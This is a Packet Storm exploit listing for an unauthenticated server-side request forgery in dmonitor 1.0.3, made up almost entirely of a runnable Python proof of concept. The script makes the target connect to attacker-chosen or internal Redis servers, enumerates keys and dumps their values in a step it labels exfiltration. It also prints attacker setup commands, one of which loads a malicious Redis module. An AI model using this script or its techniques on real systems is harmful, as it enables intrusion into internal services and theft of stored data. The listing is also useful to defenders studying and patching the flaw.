PACKETSTORM

📄 dmonitor 1.0.3 Server-Side Request Forgery / Redis Enumeration_PACKETSTORM:222360

Description

Proof of concept demonstration exploit for dmonitor version 1.0.3 that leverages an unauthenticated server-side request forgery vulnerability to demonstrate redis access and data enumeration...
Visit Original Source

Basic Information

ID PACKETSTORM:222360
Published Jun 1, 2026 at 00:00

Affected Product

Affected Versions ==================================================================================================================================
| # Title : dmonitor v1.0.3 – Unauthenticated SSRF Leading to Redis Access and Data Enumeration |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://github.com/dhjz/dmonitor |
==================================================================================================================================

[+] Summary : This Python script demonstrates a security vulnerability in dmonitor where unauthenticated requests can influence the application's outbound connections.
The tool interacts with Redis-related API endpoints to assess whether the application can be induced to connect to arbitrary Redis servers specified by a user.

[+] POC :

#!/usr/bin/env python3

import requests
import json
import sys
import argparse
from urllib.parse import urljoin

class DMonitorSSRF:
def __init__(self, target_url):
self.target_url = target_url.rstrip('/')
self.session = requests.Session()
self.redis_connected = False

def init_redis(self, attacker_host, attacker_port=6379, password=""):
"""
Forces dmonitor to connect to attacker-controlled Redis server
"""
endpoint = "/monitor-api/redis/initRedis"
params = {
"host": attacker_host,
"port": attacker_port,
"password": password
}

print(f"[*] Forcing dmonitor to connect to Redis at {attacker_host}:{attacker_port}")

try:
response = self.session.get(
urljoin(self.target_url, endpoint),
params=params,
timeout=10
)

if response.status_code == 200:
data = response.json()
if data.get("code") == 200:
print("[+] Successfully connected to attacker's Redis server")
self.redis_connected = True
return True
else:
print(f"[-] Failed: {data.get('msg')}")
return False
else:
print(f"[-] HTTP {response.status_code}")
return False

except requests.exceptions.RequestException as e:
print(f"[-] Connection error: {e}")
return False

def list_keys(self, keyword=""):
"""
Lists all keys from the connected Redis server
"""
if not self.redis_connected:
print("[-] Redis not initialized. Call init_redis() first")
return None

endpoint = "/monitor-api/redis/listKey"
params = {"keyword": keyword}

print(f"[*] Enumerating Redis keys (keyword: '{keyword}')")

try:
response = self.session.get(
urljoin(self.target_url, endpoint),
params=params,
timeout=10
)

if response.status_code == 200:
data = response.json()
if data.get("code") == 200:
keys = data.get("data", [])
print(f"[+] Found {len(keys)} key(s): {keys}")
return keys
else:
print(f"[-] Failed: {data.get('msg')}")
return None
else:
print(f"[-] HTTP {response.status_code}")
return None

except requests.exceptions.RequestException as e:
print(f"[-] Connection error: {e}")
return None

def get_key_value(self, key):
"""
Retrieves the value of a specific key from Redis
"""
if not self.redis_connected:
print("[-] Redis not initialized. Call init_redis() first")
return None

endpoint = "/monitor-api/redis/getByKey"
params = {"key": key}

print(f"[*] Retrieving value for key: '{key}'")

try:
response = self.session.get(
urljoin(self.target_url, endpoint),
params=params,
timeout=10
)

if response.status_code == 200:
data = response.json()
if data.get("code") == 200:
value = data.get("data", {}).get("value")
print(f"[+] Value: {value}")
return value
else:
print(f"[-] Failed: {data.get('msg')}")
return None
else:
print(f"[-] HTTP {response.status_code}")
return None

except requests.exceptions.RequestException as e:
print(f"[-] Connection error: {e}")
return None

def full_exploit(self, attacker_host, attacker_port=6379):
"""
Complete exploit chain
"""
print("\n" + "="*60)
print("dmonitor v1.0.3 - Unauthenticated SSRF Exploit")
print("="*60 + "\n")
if not self.init_redis(attacker_host, attacker_port):
print("[-] Exploit failed at initialization stage")
return False
keys = self.list_keys()
if not keys:
print("[-] No keys found or enumeration failed")
return False
print("\n[*] Exfiltrating data:")
print("-" * 40)
for key in keys:
value = self.get_key_value(key)
if value:
print(f" {key} => {value}")

print("\n[+] Exploit completed successfully!")
return True

def internal_scan(self, target_host, target_port, redis_command=""):
"""
SSRF to internal Redis servers
"""
print(f"[*] Attempting to connect to internal Redis: {target_host}:{target_port}")

if self.init_redis(target_host, target_port):
print("[+] Successfully connected to internal Redis server")
return self.list_keys()
return None

def setup_attacker_redis():
"""
Instructions for setting up attacker's Redis server
"""
print("\n[!] Attacker Redis Server Setup:")
print(" # Install Redis if not already installed")
print(" $ sudo apt install redis-server # Debian/Ubuntu")
print(" $ brew install redis # macOS")
print(" # Or download from https://redis.io/download")
print("\n # Start Redis server")
print(" $ redis-server --port 6379")
print("\n # Set test data")
print(" $ redis-cli set test_key \"SSRF_CONFIRMED\"")
print(" $ redis-cli set sensitive_data \"SECRET_VALUE\"")
print("\n # For advanced exploitation, set up malicious Redis module")
print(" $ redis-cli MODULE LOAD /path/to/malicious.so")
print("-" * 60)

def main():
parser = argparse.ArgumentParser(description='dmonitor v1.0.3 SSRF Exploit')
parser.add_argument('-t', '--target', required=True,
help='Target dmonitor URL (e.g., http://192.168.1.102:40001)')
parser.add_argument('-a', '--attacker-host', required=True,
help='Attacker-controlled Redis server IP')
parser.add_argument('-p', '--attacker-port', default=6379, type=int,
help='Attacker Redis port (default: 6379)')
parser.add_argument('-i', '--internal-scan', nargs=2, metavar=('HOST', 'PORT'),
help='Scan internal Redis server (SSRF to internal)')
parser.add_argument('--password', default='',
help='Redis password if required')

args = parser.parse_args()
if len(sys.argv) == 1:
parser.print_help()
setup_attacker_redis()
sys.exit(1)

exploit = DMonitorSSRF(args.target)
if args.internal_scan:
internal_host, internal_port = args.internal_scan
exploit.internal_scan(internal_host, int(internal_port))
else:
exploit.full_exploit(args.attacker_host, args.attacker_port)

if __name__ == "__main__":
main()

Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.